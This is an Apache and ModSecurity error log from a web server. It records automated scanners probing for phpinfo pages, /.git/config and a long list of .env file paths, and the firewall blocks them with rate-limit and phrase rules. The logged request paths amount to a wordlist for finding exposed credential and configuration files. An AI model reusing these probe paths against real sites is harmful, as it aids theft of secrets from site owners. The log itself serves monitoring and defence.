"/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4d8nB58C2Y1tgLtuLajgAAAEs"]
[Sat May 09 01:31:31.218515 2026] [proxy_fcgi:error] [pid 51113:tid 51122] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:31.388364 2026] [proxy_fcgi:error] [pid 51113:tid 51131] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:31.561077 2026] [proxy_fcgi:error] [pid 51113:tid 51117] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:31.740453 2026] [proxy_fcgi:error] [pid 51113:tid 51134] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:31.933995 2026] [proxy_fcgi:error] [pid 51113:tid 51121] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:32.102295 2026] [proxy_fcgi:error] [pid 51113:tid 51132] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:32.270181 2026] [proxy_fcgi:error] [pid 51113:tid 51136] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:32.605994 2026] [proxy_fcgi:error] [pid 51113:tid 51126] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:32.774818 2026] [proxy_fcgi:error] [pid 51113:tid 51139] [client 54.193.57.108:44630] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:31:33.106726 2026] [:error] [pid 51113:tid 51137] [client 54.193.57.108:44630] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4d9UQfs7sWtqkpQIea_wAAANY"]
[Sat May 09 01:31:33.773125 2026] [:error] [pid 51008:tid 51055] [client 54.193.57.108:54790] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4d9XB58C2Y1tgLtuLalAAAAEY"]
[Sat May 09 01:31:34.439949 2026] [:error] [pid 51007:tid 51024] [client 54.193.57.108:54806] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4d9lMagSGstWKyzzUaOAAAAAI"]
[Sat May 09 01:31:35.113520 2026] [:error] [pid 51009:tid 51100] [client 54.193.57.108:54822] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4d9-B0GbUWhxgzX9WRMgAAAJg"]
[Sat May 09 01:31:35.801855 2026] [:error] [pid 51009:tid 51078] [client 54.193.57.108:54838] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4d9-B0GbUWhxgzX9WRNgAAAII"]
[Sat May 09 01:31:36.495001 2026] [:error] [pid 61355:tid 61374] [client 54.193.57.108:54854] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info"] [unique_id "af4d-PkhJTi30CBXmMku7QAAAY0"]
[Sat May 09 01:31:37.184791 2026] [:error] [pid 51007:tid 51027] [client 54.193.57.108:54864] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/php-info.php"] [unique_id "af4d-VMagSGstWKyzzUaOwAAAAU"]
[Sat May 09 01:31:37.876179 2026] [:error] [pid 51007:tid 51043] [client 54.193.57.108:54876] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpversion.php"] [unique_id "af4d-VMagSGstWKyzzUaPgAAABU"]
[Sat May 09 01:31:38.572901 2026] [:error] [pid 61356:tid 61393] [client 54.193.57.108:54886] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/_phpinfo.php"] [unique_id "af4d-ox3vpB8oWhUq2MnmwAAAcU"]
[Sat May 09 01:31:39.258774 2026] [:error] [pid 61356:tid 61396] [client 54.193.57.108:54888] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4d-4x3vpB8oWhUq2MnpQAAAcg"]
[Sat May 09 01:31:39.963700 2026] [:error] [pid 61356:tid 61411] [client 54.193.57.108:54902] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server-info.php"] [unique_id "af4d-4x3vpB8oWhUq2MnqgAAAdc"]
[Sat May 09 01:31:40.657232 2026] [:error] [pid 61356:tid 61408] [client 54.193.57.108:54908] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server-status.php"] [unique_id "af4d_Ix3vpB8oWhUq2MnrQAAAdQ"]
[Sat May 09 01:31:41.355049 2026] [:error] [pid 61317:tid 61344] [client 54.193.57.108:54914] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4d_c-fFk_CedOCOYsLsgAAAVg"]
[Sat May 09 01:31:42.035692 2026] [:error] [pid 61317:tid 61342] [client 54.193.57.108:54926] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/_environment"] [unique_id "af4d_s-fFk_CedOCOYsLswAAAVY"]
[Sat May 09 01:31:42.689061 2026] [:error] [pid 51008:tid 51059] [client 54.193.57.108:54934] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4d_nB58C2Y1tgLtuLaoAAAAEo"]
[Sat May 09 01:31:44.490826 2026] [:error] [pid 61356:tid 61411] [client 54.193.57.108:33330] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4eAIx3vpB8oWhUq2MnuAAAAdc"]
[Sat May 09 01:31:45.142062 2026] [:error] [pid 34318:tid 34330] [client 54.193.57.108:33344] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4eAcr3guirgJiKhzADeAAAAQo"]
[Sat May 09 01:31:45.798290 2026] [:error] [pid 51009:tid 51098] [client 54.193.57.108:33354] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4eAeB0GbUWhxgzX9WRWwAAAJY"]
[Sat May 09 01:31:46.448968 2026] [:error] [pid 51007:tid 51023] [client 54.193.57.108:33360] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4eAlMagSGstWKyzzUaSAAAAAE"]
[Sat May 09 01:31:47.106352 2026] [:error] [pid 61356:tid 61400] [client 54.193.57.108:33372] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4eA4x3vpB8oWhUq2MnugAAAcw"]
[Sat May 09 01:31:47.764926 2026] [:error] [pid 51113:tid 51126] [client 54.193.57.108:33388] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4eA0Qfs7sWtqkpQIebDQAAAMs"]
[Sat May 09 01:31:48.433702 2026] [:error] [pid 51113:tid 51120] [client 54.193.57.108:33400] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4eBEQfs7sWtqkpQIebEQAAAMU"]
[Sat May 09 01:31:49.091351 2026] [:error] [pid 51008:tid 51067] [client 54.193.57.108:33406] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo.php~"] [unique_id "af4eBXB58C2Y1tgLtuLatAAAAFI"]
[Sat May 09 01:31:49.749823 2026] [:error] [pid 51008:tid 51071] [client 54.193.57.108:33422] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php.bak"] [unique_id "af4eBXB58C2Y1tgLtuLauQAAAFY"]
[Sat May 09 01:31:50.416139 2026] [:error] [pid 51007:tid 51033] [client 54.193.57.108:33432] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4eBlMagSGstWKyzzUaTQAAAAs"]
[Sat May 09 01:31:51.072681 2026] [:error] [pid 51008:tid 51063] [client 54.193.57.108:33442] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4eB3B58C2Y1tgLtuLavwAAAE4"]
[Sat May 09 01:31:51.723504 2026] [:error] [pid 51007:tid 51037] [client 54.193.57.108:33452] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4eB1MagSGstWKyzzUaUwAAAA8"]
[Sat May 09 01:31:52.394763 2026] [:error] [pid 51113:tid 51130] [client 54.193.57.108:33468] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4eCEQfs7sWtqkpQIebFQAAAM8"]
[Sat May 09 01:31:53.049900 2026] [:error] [pid 61355:tid 61368] [client 54.193.57.108:33474] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4eCfkhJTi30CBXmMkvDwAAAYc"]
[Sat May 09 01:31:53.705842 2026] [:error] [pid 61317:tid 61335] [client 54.193.57.108:57166] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4eCc-fFk_CedOCOYsLxQAAAU8"]
[Sat May 09 01:31:54.369181 2026] [:error] [pid 51008:tid 51050] [client 54.193.57.108:57170] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4eCnB58C2Y1tgLtuLazQAAAEE"]
[Sat May 09 01:31:55.032247 2026] [:error] [pid 61355:tid 61372] [client 54.193.57.108:57176] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4eC_khJTi30CBXmMkvFAAAAYs"]
[Sat May 09 01:31:55.688631 2026] [:error] [pid 51008:tid 51067] [client 54.193.57.108:57184] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4eC3B58C2Y1tgLtuLa1AAAAFI"]
[Sat May 09 01:31:56.347048 2026] [:error] [pid 61356:tid 61411] [client 54.193.57.108:57192] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4eDIx3vpB8oWhUq2MnwQAAAdc"]
[Sat May 09 01:31:57.021307 2026] [:error] [pid 61356:tid 61393] [client 54.193.57.108:57200] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4eDYx3vpB8oWhUq2MnxAAAAcU"]
[Sat May 09 01:31:57.676525 2026] [:error] [pid 61355:tid 61376] [client 54.193.57.108:57212] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4eDfkhJTi30CBXmMkvFQAAAY8"]
[Sat May 09 01:31:58.335477 2026] [:error] [pid 51009:tid 51098] [client 54.193.57.108:57220] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4eDuB0GbUWhxgzX9WRdgAAAJY"]
[Sat May 09 01:31:58.986950 2026] [:error] [pid 61356:tid 61389] [client 54.193.57.108:57222] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4eDox3vpB8oWhUq2MnywAAAcE"]
[Sat May 09 01:31:59.643381 2026] [:error] [pid 61355:tid 61375] [client 54.193.57.108:57232] [client 54.193.57.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4eD_khJTi30CBXmMkvGgAAAY4"]
[Sat May 09 01:51:23.911553 2026] [:error] [pid 51007:tid 51038] [client 18.156.77.36:34320] [client 18.156.77.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "af4im1MagSGstWKyzzUf7AAAABA"]
[Sat May 09 01:51:25.137565 2026] [:error] [pid 61356:tid 61388] [client 18.156.77.36:34334] [client 18.156.77.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4inYx3vpB8oWhUq2MzPQAAAcA"]
[Sat May 09 01:51:26.157064 2026] [proxy_fcgi:error] [pid 51009:tid 51095] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:26.409601 2026] [proxy_fcgi:error] [pid 51009:tid 51081] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:26.657875 2026] [proxy_fcgi:error] [pid 51009:tid 51082] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:26.905918 2026] [proxy_fcgi:error] [pid 51009:tid 51100] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:27.157913 2026] [proxy_fcgi:error] [pid 51009:tid 51091] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:27.405305 2026] [proxy_fcgi:error] [pid 51009:tid 51084] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:27.654780 2026] [proxy_fcgi:error] [pid 51009:tid 51081] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:28.149814 2026] [proxy_fcgi:error] [pid 51009:tid 51085] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
[Sat May 09 01:51:28.397656 2026] [proxy_fcgi:error] [pid 51009:tid 51098] [client 18.156.77.36:34336] AH01071: Got error 'Primary script unknown'
